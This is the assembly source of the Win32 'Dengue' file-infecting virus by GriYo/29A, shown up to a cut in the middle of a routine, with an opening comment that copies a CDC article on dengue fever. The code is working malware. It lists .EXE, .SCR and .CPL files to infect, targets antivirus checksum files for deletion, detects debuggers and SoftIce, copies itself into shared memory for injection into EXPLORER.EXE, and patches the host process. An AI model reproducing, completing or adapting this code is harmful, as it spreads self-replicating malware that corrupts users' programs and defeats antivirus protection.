MalwareSourceCode/Win32/Infector/Win32.Dengue.asm
2020-10-16 23:26:21 +02:00

7159 lines
216 KiB
NASM

;============================================================================
;
; Dengue Hemorrhagic Fever
;
; BioCoded by GriYo / 29A
; griyo@bi0.net
;
;============================================================================
;
; About the biomodel
; ------------------
;
; Dengue Hemorrhagic Fever: The Emergence of a Global Health Problem
;
; Dengue and dengue hemorrhagic fever (DHF) are caused by one of four
;closely related, but antigenically distinct, virus serotypes (DEN-1, DEN-2,
;DEN-3, and DEN-4), of the genus Flavivirus. Infection with one of these
;serotypes does not provide cross-protective immunity, so persons living in
;a dengue-endemic area can have four dengue infections during their
;lifetimes. Dengue is primarily an urban disease of the tropics, and the
;viruses that cause it are maintained in a cycle that involves humans and
;Aedes aegypti, a domestic, day-biting mosquito that prefers to feed on
;humans. Infection with a dengue virus serotype can produce a spectrum of
;clinical illness, ranging from a nonspecific viral syndrome to severe and
;fatal hemorrhagic disease. Important risk factors for DHF include the
;strain and serotype of the virus involved, as well as the age, immune
;status, and genetic predisposition of the patient.
;
; The first reported epidemics of dengue fever occurred in 1779-1780
;in Asia, Africa, and North America; the near simultaneous occurrence of
;outbreaks on three continents indicates that these viruses and their
;mosquito vector have had a worldwide distribution in the tropics for more
;than 200 years. During most of this time, dengue fever was considered a
;benign, nonfatal disease of visitors to the tropics. Generally, there were
;long intervals (10-40 years) between major epidemics, mainly because the
;viruses and their mosquito vector could only be transported between
;population centers by sailing vessels.
;
; A global pandemic of dengue begun in Southeast Asia after World
;War II and has intensified during the last 15 years. Epidemics caused by
;multiple serotypes (hyperendemicity) are more frequent, the geographic
;distribution of dengue viruses has expanded, and DHF has emerged in the
;Pacific region and the Americas. In Southeast Asia, epidemic DHF
;first appeared in the 1950s, but by 1975 it had become a leading cause of
;hospitalization and death among children in many countries. In the 1980s,
;DHF began a second expansion into Asia when Sri Lanka, India, and the
;Maldive Islands had their first major DHF epidemics; Pakistan first
;reported an epidemic of dengue fever in 1994. The recent epidemics in
;Sri Lanka and India were associated with multiple dengue virus serotypes,
;but DEN-3 was predominant and was genetically distinct from DEN-3 viruses
;previously isolated from infected persons in those countries.
;
; After an absence of 35 years, epidemic dengue fever occurred in
;both Taiwan and the People's Republic of China in the 1980s. The People's
;Republic of China had a series of epidemics caused by all four serotypes,
;and its first major epidemic of DHF, caused by DEN-2, was reported on
;Hainan Island in 1985. Singapore also had a resurgence of dengue/DHF
;from 1990 to 1994 after a successful control program had prevented
;significant transmission for over 20 years. In other countries of Asia
;where DHF is endemic, the epidemics have become progressively larger in the
;last 15 years.
;
; In the Pacific, dengue viruses were reintroduced in the early 1970s
;after an absence of more than 25 years. Epidemic activity caused by all
;four serotypes has intensified in recent years with major epidemics of DHF
;on several islands.
;
; Despite poor surveillance for dengue in Africa, we know that
;epidemic dengue fever caused by all four serotypes has increased
;dramatically since 1980. Most activity has occurred in East Africa, and
;major epidemics were reported for the first time in the Seychelles (1977),
;Kenya (1982, DEN-2), Mozambique (1985, DEN-3), Djibouti (1991-92, DEN-2),
;Somalia (1982, 1993, DEN-2), and Saudi Arabia (1994, DEN-2) (CDC,
;unpublished data). Epidemic DHF has been reported in neither Africa nor the
;Middle East, but sporadic cases clinically compatible with DHF have been
;reported from Mozambique, Djibouti, and Saudi Arabia (CDC, unpublished
;data).
;
; The emergence of dengue/DHF as a major public health problem has
;been most dramatic in the American region. In an effort to prevent urban
;yellow fever, which is also transmitted by Ae. aegypti, the Pan American
;Health Organization organized a campaign that eradicated Ae. aegypti from
;most Central and South American countries in the 1950s and 1960s. As a
;result, epidemic dengue occurred only sporadically in some Caribbean
;islands during this period. The Ae. aegypti eradication program, which was
;officially discontinued in the United States in 1970, gradually eroded
;elsewhere, and this species began to reinfest countries from which it had
;been eradicated. In 1995, the geographic distribution of Ae. aegypti was
;similar to its distribution before the eradication program.
;
; In 1970, only DEN-2 virus was present in the Americas, although
;DEN-3 may have had a focal distribution in Colombia and Puerto Rico. In
;1977, DEN-1 was introduced and caused major epidemics throughout the
;region over a 16-year period. DEN-4 was introduced in 1981 and caused
;similar widespread epidemics. Also in 1981, a new strain of DEN-2 from
;Southeast Asia caused the first major DHF epidemic in the Americas (Cuba).
;This strain has spread rapidly throughout the region and has caused
;outbreaks of DHF in Venezuela, Colombia, Brazil, French Guiana, Suriname,
;and Puerto Rico. By 1995, 14 countries in the American region had reported
;confirmed DHF cases, and DHF is endemic in many of these countries.
;
; DEN-3 virus recently reappeared in the Americas after an absence of
;16 years. This serotype was first detected in association with a 1994
;dengue/DHF epidemic in Nicaragua. Almost simultaneously, DEN-3 was
;confirmed in Panama and, in early 1995, in Costa Rica (CDC, unpublished
;data). In Nicaragua, considerable numbers of DHF were associated with the
;epidemic, which was apparently caused by DEN-3. In Panama and Costa Rica,
;the cases were classic dengue fever.
;
; Viral envelope gene sequence data from the DEN-3 strains isolated
;from Panama and Nicaragua have shown that this new American DEN-3 virus
;strain was likely a recent introduction from Asia since it is genetically
;distinct from the DEN-3 strain found previously in the Americas, but is
;identical to the DEN-3 virus serotype that caused major DHF epidemics in
;Sri Lanka and India in the 1980s (R. Lanciotti; unpublished data). The new
;DEN-3 strain, and the susceptibility of the population in the American
;tropics to it, suggests that DEN-3 will spread rapidly throughout the
;region and likely will cause major epidemics of dengue/DHF in the near
;future.
;
; In 1995, dengue is the most important mosquito-borne viral disease
;affecting humans; its global distribution is comparable to that of malaria,
;and an estimated 2.5 billion people are living in areas at risk for epidemic
;transmission. Each year, tens of millions of cases of dengue fever occur
;and, depending on the year, up to hundreds of thousands of cases of DHF. The
;case-fatality rate of DHF in most countries is about 5%: most fatal cases
;are among children.
;
; There is a small, but significant, risk for dengue outbreaks in the
;continental United States. Two competent mosquito vectors, Ae. aegypti and
;Aedes albopictus, are present and, under certain circumstances, each could
;transmit dengue viruses. This type of transmission has been detected twice
;in the last 15 years in south Texas (1980 and 1986) and has been associated
;with dengue epidemics in northern Mexico. Moreover, numerous viruses are
;introduced annually by travelers returning from tropical areas where dengue
;viruses are endemic. From 1977 to 1994, a total of 2,248 suspected cases of
;imported dengue were reported in the United States (CDC, unpublished data).
;Although some specimens collected were not adequate for laboratory
;diagnosis, preliminary data indicate that 481 (21%) cases were confirmed as
;dengue (CDC, unpublished data). Many more cases probably go unreported each
;year because surveillance in the United States is passive and relies on
;physicians to recognize the disease, inquire about the patient's travel
;history, obtain proper diagnostic samples, and report the case. These data
;underscore the fact that southern Texas and the southeastern United States,
;where Ae. aegypti is found, are at risk for dengue transmission and
;sporadic outbreaks.
;
; The reasons for this dramatic global emergence of dengue/DHF as a
;major public health problem are complex and not well understood. However,
;several important factors can be identified. First, effective mosquito
;control is virtually nonexistent in most dengue-endemic countries.
;Considerable emphasis for the past 20 years has been placed on
;ultra-low-volume insecticide space sprays for adult mosquito control, a
;relatively ineffective approach for controlling Ae. aegypti. Second, major
;global demographic changes have occurred, the most important of which have
;been uncontrolled urbanization and concurrent population growth. These
;demographic changes have resulted in substandard housing and inadequate
;water, sewer, and waste management systems, all of which increase
;Ae. aegypti population densities and facilitate transmission of
;Ae. aegypti-borne disease. Third, increased travel by airplane provides
;the ideal mechanism for transporting dengue viruses between population
;centers of the tropics, resulting in a constant exchange of dengue viruses
;and other pathogens. Lastly, in most countries the public health
;infrastructure has deteriorated. Limited financial and human resources and
;competing priorities have resulted in a "crisis mentality" with emphasis
;on implementing so-called emergency control methods in response to
;epidemics rather than on developing programs to prevent epidemic
;transmission. This approach has been particularly detrimental to dengue
;control because, in most countries, surveillance is very inadequate; the
;system to detect increased transmission normally relies on reports by local
;physicians who often do not consider dengue in their diagnoses. As a result,
;an epidemic has often reached or passed the peak of transmission before it
;is detected.
;
; No dengue vaccine is available. Recently, however, attenuated
;candidate vaccine viruses have been developed in Thailand. These vaccines
;are safe and immunogenic when given in various formulations, including a
;quadrivalent vaccine for all four dengue virus serotypes. Unfortunately,
;efficacy trials in human volunteers have yet to be initiated. Research is
;also being conducted to develop second-generation recombinant vaccine
;viruses; the Thailand attenuated viruses are used as a template. However,
;an effective dengue vaccine for public use will not be available for 5 to
;10 years.
;
; Prospects for reversing the recent trend of increased epidemic
;activity and geographic expansion of dengue are not promising. New dengue
;virus strains and serotypes will likely continue to be introduced into many
;areas where the population densities of Ae. aegypti are at high levels. With
;no new mosquito control technology available, in recent years public health
;authorities have emphasized disease prevention and mosquito control through
;community efforts to reduce larval breeding sources. Although this approach
;will probably be effective in the long run, it is unlikely to impact disease
;transmission in the near future. We must, therefore, develop improved,
;proactive, laboratory-based surveillance systems that can provide early
;warning of an impending dengue epidemic. At the very least, surveillance
;results can alert the public to take action and physicians to diagnose and
;properly treat dengue/DHF cases.
;
;Duane J. Gubler and Gary G. Clark
;National Center for Infectious Diseases
;Centers for Disease Control and Prevention
;Fort Collins, Colorado, and San Juan, Puerto Rico, USA
;
;============================================================================
.386P
locals
jumps
.model flat,STDCALL
include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc
extrn GetModuleHandleA:NEAR
extrn Sleep:NEAR
NUMBER_OF_POLY_LAYERS equ 04h ; Max number of poly decryptors
;============================================================================
;Fake host used for virus 1st generation
;============================================================================
_TEXT segment dword use32 public 'CODE'
;============================================================
;We need the CRC lookup table for the next steps
;============================================================
host_code: xor ebp,ebp
call make_crc_tbl
;============================================================
;Save the CRC32 of 'KERNEL32.DLL' inside virus body
;============================================================
mov esi,offset g1_szKernel32
call get_str_crc32
mov dword ptr [CrcKernel32],edx
;============================================================
;Save the CRC32 of 'GetProcAddress' inside virus body
;============================================================
mov esi,offset g1_szGetProcAddr
call get_str_crc32
mov dword ptr [CrcGetProcAddr],edx
;============================================================
;Save the CRC32 of infectable file extensions
;============================================================
mov esi,offset g1_szEXE
call get_str_crc32
mov dword ptr [CRC32_szEXE],edx
mov esi,offset g1_szSCR
call get_str_crc32
mov dword ptr [CRC32_szSCR],edx
mov esi,offset g1_szCPL
call get_str_crc32
mov dword ptr [CRC32_szCPL],edx
;============================================================
;Save the CRC32 of some AV files
;============================================================
mov ecx,NumberOfAV
mov esi,offset g1_av_names
mov edi,offset TblCRC32AV
call save_crc_names
;============================================================
;Save the CRC32 of EXPLORER.EXE
;============================================================
mov esi,offset g1_szEXPLORER
call get_str_crc32
mov dword ptr [CRCszEXPLORER],edx
;============================================================
;Save the CRC32 of 'USER32.DLL'
;============================================================
mov esi,offset g1_szUSER32
call get_str_crc32
mov dword ptr [CRCszUSER32],edx
;============================================================
;Save the CRC32 of 'PSAPI.DLL'
;============================================================
mov esi,offset g1_szPSAPI
call get_str_crc32
mov dword ptr [CRCszPSAPI],edx
;============================================================
;Save the CRC32 of 'IMAGEHLP.DLL'
;============================================================
mov esi,offset g1_szIMGHLP
call get_str_crc32
mov dword ptr [CRCszIMGHLP],edx
;============================================================
;Save the CRC32 of 'SFC.DLL'
;============================================================
mov esi,offset g1_szSFC
call get_str_crc32
mov dword ptr [CRCszSFC],edx
;============================================================
;Get CRC's of needed API's and save them inside virus body
;Lets start with KERNEL32 API names
;============================================================
mov ecx,NumK32Apis
mov esi,offset namesK32Apis
mov edi,offset CRC32K32Apis
call save_crc_names
;============================================================
;This are some special handled APIs
;============================================================
mov ecx,00000001h
mov esi,offset name_IsDebuggerPresent
mov edi,offset CRC32_IsDebugPr
call save_crc_names
;============================================================
;Get TOOLHELP APIs (Windows 9x only)
;============================================================
mov ecx,NumTOOLHELPApis
mov esi,offset namesTOOLHELPApis
mov edi,offset CRC32TOOLHELPApis
call save_crc_names
;============================================================
;Get PSAPI.DLL APIs (Windows Nt & Windows 2000 only)
;============================================================
mov ecx,NumPSAPIApis
mov esi,offset namesPSAPIApis
mov edi,offset CRC32PSAPIApis
call save_crc_names
;============================================================
;Get API used to compute image checksum
;============================================================
mov ecx,NumIMGHLPApis
mov esi,offset namesIMGHLPApis
mov edi,offset CRC32IMGHLPApis
call save_crc_names
;============================================================
;Get API used to check for Windows2000 System File Protection
;============================================================
mov ecx,NumSFCApis
mov esi,offset namesSFCApis
mov edi,offset CRC32SFCApis
call save_crc_names
;============================================================
;Get CRC32 of USER32 API names ( Ansi version )
;============================================================
mov ecx,NumUSER32Apis
mov esi,offset namesUSER32Apisw9x
mov edi,offset CRC32USER32Apisw9x
call save_crc_names
;============================================================
;Get CRC32 of USER32 API names ( Wide version )
;============================================================
mov ecx,NumUSER32Apis
mov esi,offset namesUSER32Apiswnt
mov edi,offset CRC32USER32Apiswnt
call save_crc_names
;============================================================
;Build the do-not-infect-file-by-name CRC32 table
;============================================================
mov ecx,avoid_num
mov esi,offset g1_avoid_files
mov edi,offset avoid_tbl
call save_crc_names
;============================================================
;Get KERNEL32.DLL module handle
;============================================================
push offset g1_szKernel32
call GetModuleHandleA
or eax,eax
jz out_1st_gen
mov ebx,eax
xor ebp,ebp
db 05h dup (90h)
call get1st_end
db 05h dup (90h)
;============================================================
;Let the 1st generation host running
;============================================================
out_1st_gen: push 0FFFFFFFFh
call Sleep
jmp out_1st_gen ;Never executed, but i dont want to remove it
;anyway, this wont take part of the main
;virus body...
;============================================================
;Ready to jump into main virus body !!!!
;============================================================
get1st_end: push eax ; Space for ebx
push eax ; Space for esi
push eax ; Space for edi
push eax ; Space for ebp
xor ebp,ebp
jmp entry_1st_gen
;============================================================
;Routine that converts API names in CRC32 values
;============================================================
save_crc_names: cld
get_g1_crc: push ecx
lodsd
push esi
mov esi,eax
call get_str_crc32
mov eax,edx
stosd
pop esi
pop ecx
loop get_g1_crc
ret
_TEXT ends
;============================================================================
;Here comes the rest of the sections in virus 1st generation
;============================================================================
_DATA segment dword use32 public 'DATA'
;============================================================
;Used to locate KERNEL32 base address on 1st generation
;============================================================
g1_szKernel32 db 'KERNEL32.DLL',00h
g1_szGetProcAddr db 'GetProcAddress',00h
;============================================================
;Used to check if file extension is infectable
;============================================================
g1_szEXE db '.EXE',00h
g1_szSCR db '.SCR',00h
g1_szCPL db '.CPL',00h
;============================================================
;This virus use CRC32 instead of DLL names !!!!
;
;LoadLibrary requires the DLL name as parameter... but
;we can find the DLL name by browsing SYSTEM32 directory
;for a file whose CRC32 matches a given one
;============================================================
g1_szEXPLORER db 'EXPLORER.EXE',00h
g1_szUSER32 db 'USER32.DLL',00h
g1_szPSAPI db 'PSAPI.DLL',00h
g1_szIMGHLP db 'IMAGEHLP.DLL',00h
g1_szSFC db 'SFC.DLL',00h
;============================================================
;Do not infect files with this character combinations on
;their names
;============================================================
g1_avoid_files equ $
dd offset g1_avoid_00
dd offset g1_avoid_01
dd offset g1_avoid_02
dd offset g1_avoid_03
dd offset g1_avoid_04
dd offset g1_avoid_05
dd offset g1_avoid_06
dd offset g1_avoid_07
dd offset g1_avoid_08
dd offset g1_avoid_09
dd offset g1_avoid_0A
dd offset g1_avoid_0B
dd offset g1_avoid_0C
dd offset g1_avoid_0D
dd offset g1_avoid_0E
dd offset g1_avoid_0F
dd offset g1_avoid_10
dd offset g1_avoid_11
dd offset g1_avoid_12
dd offset g1_avoid_13
dd offset g1_avoid_14
dd offset g1_avoid_15
dd offset g1_avoid_16
dd offset g1_avoid_17
dd offset g1_avoid_18
avoid_num equ ($-g1_avoid_files)/04h
g1_avoid_00 db 'DR',00h
g1_avoid_01 db 'PA',00h
g1_avoid_02 db 'RO',00h
g1_avoid_03 db 'VI',00h
g1_avoid_04 db 'AV',00h
g1_avoid_05 db 'TO',00h
g1_avoid_06 db 'CA',00h
g1_avoid_07 db 'IN',00h
g1_avoid_08 db 'MS',00h
g1_avoid_09 db 'SR',00h
g1_avoid_0A db 'SP',00h
g1_avoid_0B db 'RP',00h
g1_avoid_0C db 'PR',00h
g1_avoid_0D db 'NO',00h
g1_avoid_0E db 'CE',00h
g1_avoid_0F db 'LE',00h
g1_avoid_10 db 'MO',00h
g1_avoid_11 db 'SM',00h
g1_avoid_12 db 'DD',00h
g1_avoid_13 db 'SO',00h
g1_avoid_14 db 'SQ',00h
g1_avoid_15 db 'EX',00h
g1_avoid_16 db 'IE',00h
g1_avoid_17 db 'CM',00h
g1_avoid_18 db 'CO',00h
;============================================================
;Delete this AV files
;============================================================
g1_av_names equ $
dd offset g1_delete_00
dd offset g1_delete_01
dd offset g1_delete_02
dd offset g1_delete_03
dd offset g1_delete_04
NumberOfAV equ ($-g1_av_names)/04h
g1_delete_00 db 'AVP.CRC',00h
g1_delete_01 db 'ANTI-VIR.DAT',00h
g1_delete_02 db 'CHKLIST.CPS',00h
g1_delete_03 db 'CHKLIST.MS',00h
g1_delete_04 db 'IVP.NTZ',00h
;============================================================
;KERNEL32.DLL API names
;
;Note that this tables and strings are not included into the
;virus body after 1st generation. Only CRC32 values
;============================================================
namesK32Apis equ $
dd offset g1_CreateFileA
dd offset g1_CreateFileMappingA
dd offset g1_CreateProcessA
dd offset g1_CreateThread
dd offset g1_CloseHandle
dd offset g1_DeleteFileA
dd offset g1_ExitThread
dd offset g1_FindClose
dd offset g1_FindFirstFileA
dd offset g1_FindNextFileA
dd offset g1_FreeLibrary
dd offset g1_GetComputerNameA
dd offset g1_GetCurrentProcess
dd offset g1_GetDriveTypeA
dd offset g1_GetFileAttributesA
dd offset g1_GetLastError
dd offset g1_GetLocalTime
dd offset g1_GetLogicalDriveStringsA
dd offset g1_GetSystemDirectoryA
dd offset g1_GetVersionEx
dd offset g1_LoadLibraryA
dd offset g1_MapViewOfFile
dd offset g1_OpenFileMappingA
dd offset g1_OpenProcess
dd offset g1_ReadProcessMemory
dd offset g1_SetEndOfFile
dd offset g1_SetFileAttributesA
dd offset g1_SetFilePointer
dd offset g1_SetFileTime
dd offset g1_Sleep
dd offset g1_UnmapViewOfFile
dd offset g1_WriteProcessMemory
g1_CreateFileA db 'CreateFileA',00h
g1_CreateFileMappingA db 'CreateFileMappingA',00h
g1_CreateProcessA db 'CreateProcessA',00h
g1_CreateThread db 'CreateThread',00h
g1_CloseHandle db 'CloseHandle',00h
g1_DeleteFileA db 'DeleteFileA',00h
g1_ExitThread db 'ExitThread',00h
g1_FindClose db 'FindClose',00h
g1_FindFirstFileA db 'FindFirstFileA',00h
g1_FindNextFileA db 'FindNextFileA',00h
g1_FreeLibrary db 'FreeLibrary',00h
g1_GetComputerNameA db 'GetComputerNameA',00h
g1_GetCurrentProcess db 'GetCurrentProcess',00h
g1_GetDriveTypeA db 'GetDriveTypeA',00h
g1_GetFileAttributesA db 'GetFileAttributesA',00h
g1_GetLastError db 'GetLastError',00h
g1_GetLocalTime db 'GetLocalTime',00h
g1_GetLogicalDriveStringsA db 'GetLogicalDriveStringsA',00h
g1_GetSystemDirectoryA db 'GetSystemDirectoryA',00h
g1_LoadLibraryA db 'LoadLibraryA',00h
g1_GetVersionEx db 'GetVersionExA',00h
g1_MapViewOfFile db 'MapViewOfFile',00h
g1_OpenFileMappingA db 'OpenFileMappingA',00h
g1_OpenProcess db 'OpenProcess',00h
g1_ReadProcessMemory db 'ReadProcessMemory',00h
g1_SetEndOfFile db 'SetEndOfFile',00h
g1_SetFileAttributesA db 'SetFileAttributesA',00h
g1_SetFilePointer db 'SetFilePointer',00h
g1_SetFileTime db 'SetFileTime',00h
g1_Sleep db 'Sleep',00h
g1_UnmapViewOfFile db 'UnmapViewOfFile',00h
g1_WriteProcessMemory db 'WriteProcessMemory',00h
;============================================================
;Special KERNEL32 APIs
;============================================================
name_IsDebuggerPresent dd offset g1_IsDebuggerPresent
g1_IsDebuggerPresent db 'IsDebuggerPresent',00h
;============================================================
;ToolHelp APIs
;============================================================
namesTOOLHELPApis equ $
dd offset g1_CreateToolhelp32Snapshot
dd offset g1_Process32First
dd offset g1_Process32Next
dd offset g1_Module32First
dd offset g1_Module32Next
g1_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot',00h
g1_Process32First db 'Process32First',00h
g1_Process32Next db 'Process32Next',00h
g1_Module32First db 'Module32First',00h
g1_Module32Next db 'Module32Next',00h
;============================================================
;PSAPI.DLL API names
;============================================================
namesPSAPIApis equ $
dd offset g1_EnumProcessModules
dd offset g1_EnumProcesses
dd offset g1_GetModuleBaseNameA
dd offset g1_GetModuleInformation
g1_EnumProcessModules db 'EnumProcessModules',00h
g1_EnumProcesses db 'EnumProcesses',00h
g1_GetModuleBaseNameA db 'GetModuleBaseNameA',00h
g1_GetModuleInformation db 'GetModuleInformation',00h
;============================================================
;SFC.DLL API names
;============================================================
namesSFCApis equ $
dd offset g1_SfcIsFileProtected
g1_SfcIsFileProtected db 'SfcIsFileProtected',00h
;============================================================
;IMAGEHLP.DLL API names
;============================================================
namesIMGHLPApis equ $
dd offset g1_CheckSumMappedFile
g1_CheckSumMappedFile db 'CheckSumMappedFile',00h
;============================================================
;USER32.DLL API names (Ansi version)
;============================================================
namesUSER32Apisw9x equ $
dd offset g1w9x_DefWindowProc
g1w9x_DefWindowProc db 'DefWindowProcA',00h
;============================================================
;USER32.DLL API names (Wide version)
;============================================================
namesUSER32Apiswnt equ $
dd offset g1wnt_DefWindowProc
g1wnt_DefWindowProc db 'DefWindowProcW',00h
_DATA ends
_BSS segment dword use32 public 'BSS'
_BSS ends
;============================================================================
;Viral section
;
;You have to understand that all the above-mentioned is not part of the virus
;This means that the text strings and other information previous to this
;point will be discarded
;============================================================================
virseg segment dword use32 public 'Dengue'
;============================================================
;Get delta offset in ebp
;============================================================
viro_sys: call HostDelta
HostDelta: pop ebp
sub ebp,offset HostDelta
;============================================================
;Create CRC32 lookup table... This virus uses CRC32 in lots
;of places along its code... Precalculated tables helps to
;really speed-up virus activitie
;============================================================
call make_crc_tbl
;============================================================
;Check CRC32 of main virus body
;
; esi -> Ptr to buffer
; ecx -> Buffer size
;============================================================
mov ecx,SizeOfProtect
lea esi,dword ptr [ebp+CRC_protected]
call get_crc32
;============================================================
;Checksum matches?
;============================================================
db 0B8h ; mov eax,imm
ViralChecksum dd 00000000h
cmp eax,edx
jne critical_error
CRC_protected equ $
;============================================================
;Scan system memory looking for KERNEL32.DLL
;============================================================
KernelScanning: pushad
fK32_try_01: mov eax,080000101h
call IGetNtBaseAddr
jecxz fK32_try_02
jmp short kernel_found
fK32_try_02: mov eax,0C0000101h
call IGetNtBaseAddr
jecxz fK32_try_03
jmp short kernel_found
fK32_try_03: xor eax,eax
call IGetNtBaseAddr
kernel_found: jecxz critical_error
mov dword ptr [esp.Pushad_ebx],ecx
popad
;============================================================
;This is the entry-point for 1st generation
;Now EBX points to KERNEL32.DLL base address
;============================================================
entry_1st_gen: mov dword ptr [ebp+hKERNEL32],ebx
;============================================================
;Search for GetProcAddress entry-point
;============================================================
call GetGetProcAddr
jecxz critical_error
mov dword ptr [ebp+a_GetProcAddress],ecx
;============================================================
;Get KERNEL32 API addresses
;============================================================
mov ecx,NumK32Apis
lea esi,dword ptr [ebp+CRC32K32Apis]
lea edi,dword ptr [ebp+epK32Apis]
call get_APIs
jecxz RestoreHost
;============================================================
;Everything have to work, but if something goes wrong this
;will halt the process
;============================================================
critical_error: jmp critical_error
;============================================================
;Restore host code
;
;Make the return address point to the instruction which
;made the call
;============================================================
API_PUSH_SIZE equ 00000004h*00000004h
RestoreHost: lea esi,dword ptr [esp+API_PUSH_SIZE]
sub dword ptr [esi],00000005h
cld
lodsd
lea esi,dword ptr [ebp+EP_Bytes]
push esi
push 00000005h
call get_org_code
org_code db 05h dup (90h)
get_org_code: push eax
call dword ptr [ebp+a_GetCurrentProcess]
push eax
call dword ptr [ebp+a_WriteProcessMemory]
or eax,eax
jz critical_error
cld
lodsd
cmp eax,00000005h
jne critical_error
;============================================================
;Try to locate IsDebuggerPresent API
;============================================================
mov ecx,00000001h
lea esi,dword ptr [ebp+CRC32_IsDebugPr]
lea edi,dword ptr [ebp+a_IsDebuggerPresent]
call get_APIs
jecxz DetectDebug
jmp short SI_LookUp
;============================================================
;Check if the current process is running in the context of a
;debugger
;============================================================
DetectDebug: call dword ptr [ebp+a_IsDebuggerPresent]
or eax,eax
jnz GoBack2Host
;============================================================
;SoftIce lookup
;
;Code based on the article "Win32 Anti-Debugging tricks" by
;Billy Belcebu/iKX ( published on XINE#4 )
;============================================================
SI_LookUp: mov esi,dword ptr [ebp+a_CreateFileA]
push ecx
push FILE_ATTRIBUTE_READONLY
push OPEN_EXISTING
push ecx
push FILE_SHARE_READ
push GENERIC_READ
call Get_szSIw9x
db '\\.\SICE',00h
Get_szSIw9x: call esi
cmp eax,INVALID_HANDLE_VALUE
jne SI_Found
push 00000000h
push FILE_ATTRIBUTE_READONLY
push OPEN_EXISTING
push 00000000h
push FILE_SHARE_READ
push GENERIC_READ
call Get_szSIwNT
db '\\.\NTICE',00h
Get_szSIwNT: call esi
cmp eax,INVALID_HANDLE_VALUE
je SI_NotFound
SI_Found: push eax
call dword ptr [ebp+a_CloseHandle]
jmp GoBack2Host
;============================================================
;Get a object name based on current hostname
;============================================================
SI_NotFound: lea edi,dword ptr [ebp+SizeOfComputerName]
push edi
mov eax,00000020h
cld
stosd
push edi
call dword ptr [ebp+a_GetComputerNameA]
or eax,eax
jz GoBack2Host
mov esi,edi
call get_str_crc32
movzx ecx,byte ptr [edi]
and ecx,00000003h ; Number of characters
inc ecx
lea edi,dword ptr [ebp+szObjectName]
LoopBuildNick: mov al,dl
and al,0Fh
add al,'a' ; Get character
stosb
shr edx,04h
loop LoopBuildNick
mov eax,00003233h
stosd
mov al,cl
stosb
;============================================================
;Allocate shared memory
;
;MSDN says:
;
;"A shared file-mapping object will not be destroyed until
;all processes that use it close their handles to it by using
;the CloseHandle function."
;
;So the idea is to use CreateFileMapping and MapViewOfFile,
;instead of VirtualAlloc... Then read open this
;file-mapping from a small piece of code injected into
;EXPLORER.EXE
;============================================================
lea eax,dword ptr [ebp+szObjectName]
push eax
push alloc_size
push 00000000h
push PAGE_READWRITE
push 00000000h
push 0FFFFFFFFh
call dword ptr [ebp+a_CreateFileMappingA]
or eax,eax
jz GoBack2Host
mov edi,eax
call dword ptr [ebp+a_GetLastError]
cmp eax,000000B7h ; ERROR_ALREADY_EXISTS
jne ResCheckOk
push edi
call dword ptr [ebp+a_CloseHandle]
jmp GoBack2Host
ResCheckOk: push 00000000h
push 00000000h
push 00000000h
push FILE_MAP_WRITE
push edi
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jz GoBack2Host
;============================================================
;Copy virus to allocated memory block
;============================================================
lea esi,dword ptr [ebp+viro_sys]
mov edi,eax
mov ecx,size_virtual
cld
rep movsb
;============================================================
;Continue execution on allocated memory!!!!!!!!!
;
;This means we are able to use extended buffers...
;============================================================
add eax,offset HostVirMem - offset viro_sys
push eax
ret
;============================================================================
;Code executed into allocated memory... Extended buffers are available now
;============================================================================
HostVirMem: call MemDelta
MemDelta: pop ebp
sub ebp,offset MemDelta
;============================================================
;The virus needs to locate SYSTEM directory in order to load
;DLL's by using CRC32 instead of their names
;============================================================
push MAX_PATH
lea edi,dword ptr [ebp+szSYSTEMDIR]
push edi
call dword ptr [ebp+a_GetSystemDirectoryA]
or eax,eax
jz GoBack2Host
;edi -> Points 1byte above the null terminator
add edi,eax
cld
mov eax,'D.*\' ; Add '*.DLL'
stosd
mov eax,00004C4Ch
stosd
;============================================================
;Get OS version
;============================================================
lea esi,dword ptr [ebp+system_version]
push esi
mov dword ptr [esi],00000094h
call dword ptr [ebp+a_GetVersionEx]
or eax,eax
jz FreeUSER32
add esi,00000010h
cld
lodsd
cmp eax,VER_PLATFORM_WIN32_NT
je MemInfectWinNt
cmp eax,VER_PLATFORM_WIN32_WINDOWS
je MemInfectWin9x
;============================================================
;Free USER32
;============================================================
FreeUSER32: push dword ptr [ebp+hUSER32]
call dword ptr [ebp+a_FreeLibrary]
;============================================================
;Back to host
;============================================================
TblDoPolyPops equ $
GoBack2Host: pop eax
pop eax
pop eax
pop eax
ret
;============================================================================
;Residency routines for Windows 9x
;============================================================================
;============================================================
;Get hands on USER32.DLL
;============================================================
MemInfectWin9x: mov eax,dword ptr [ebp+CRCszUSER32]
mov ecx,NumUSER32Apis
lea esi,dword ptr [ebp+CRC32USER32Apisw9x]
lea edi,dword ptr [ebp+epUSER32Apis]
call VirLoadLib
mov dword ptr [ebp+hUSER32],eax
or eax,eax
jz GoBack2Host
;============================================================
;The functions provided by the tool help library make it
;easier for you to obtain information about currently
;executing applications. These functions are designed to
;streamline the creation of Win32-hosted tools, specifically
;debuggers
;============================================================
mov ebx,dword ptr [ebp+hKERNEL32]
mov ecx,NumTOOLHELPApis
lea esi,dword ptr [ebp+CRC32TOOLHELPApis]
lea edi,dword ptr [ebp+epTOOLHELPApis]
call get_APIs
jecxz DoneTOOLHELP
ExitMemWin9x: jmp FreeUSER32
;============================================================
;Take a snapshot of the processeses currently loaded in the
;system
;
;The snapshot taken by CreateToolHelpSnapShot function is
;examined by the other tool help functions to provide their
;results
;
;Access to the snapshot is read only. The snapshot handle
;acts like an object handle and is subject to the same rules
;regarding which processes and threads it is valid in
;============================================================
TH32CS_SNAPHEAPLIST equ 00000001h
TH32CS_SNAPPROCESS equ 00000002h
TH32CS_SNAPTHREAD equ 00000004h
TH32CS_SNAPMODULE equ 00000008h
TH32CS_INHERIT equ 80000000h
TH32CS_SNAPALL equ TH32CS_SNAPHEAPLIST or \
TH32CS_SNAPPROCESS or \
TH32CS_SNAPTHREAD or \
TH32CS_SNAPMODULE
DoneTOOLHELP: push ecx ;th32ProcessID
push TH32CS_SNAPPROCESS ;dwFlags
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
cmp eax,0FFFFFFFFh
je ExitMemWin9x
mov dword ptr [ebp+hSnapshot],eax
;============================================================
;Retrieve information about the first process encountered
;in the system snapshot
;============================================================
lea edi,dword ptr [ebp+ProcessEntry]
push edi
mov dword ptr [edi],SIZEOFPROCESSENTRY
push eax
call dword ptr [ebp+a_Process32First]
or eax,eax
